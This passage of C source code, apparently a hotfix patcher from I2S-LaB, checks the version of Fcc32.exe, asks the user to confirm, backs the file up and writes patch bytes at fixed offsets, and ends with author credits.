"----------------------\n\n"); if (!argv[1]) { PATH = DefaultPATH; printf ("usage : I2S-FC_fix.exe [Path\\to\\Fcc32.exe]\n\n"); } else PATH = argv[1]; printf ("Do you realy want to patch %s ? [Y/N] : ", PATH); if (getch () != 'y') { printf ("\nexiting !\n"); ExitProcess(1); } printf ("\nRetrive version of Fcc32.exe : "); if (FirstClass.ourGetVersion(PATH) && FirstClass.FccInfo->dwFileVersionMS == 458753 && FirstClass.FccInfo->dwFileVersionLS == 0) printf ("Good version\n"); else { printf ("Bad version !\nExiting...\n"); ExitProcess(0); } printf ("\n\nopening %s...", PATH); if (!FirstClass.OpenFile(PATH)) { printf ("Error !\n"); ExitProcess(0); } printf ("ok\nMaking backup file of %s...%s", PATH, CopyFile (PATH, "Fcc32.bak", TRUE) ? "ok\n" : "Not possible\n"); printf ("patching binary file..."); for (i=0; Info[i].offset; i++) FirstClass.Write(Info[i].offset, Info[i].buffer, Info[i].NumberOfByte); puts ("ok"); } Credit ______ Aurelien BOUDOUX, (aka ThreaT) aurelien[at]I2S-LaB.com Fred CHAVEROT, (aka ZaQ) fred[at]I2S-LaB.com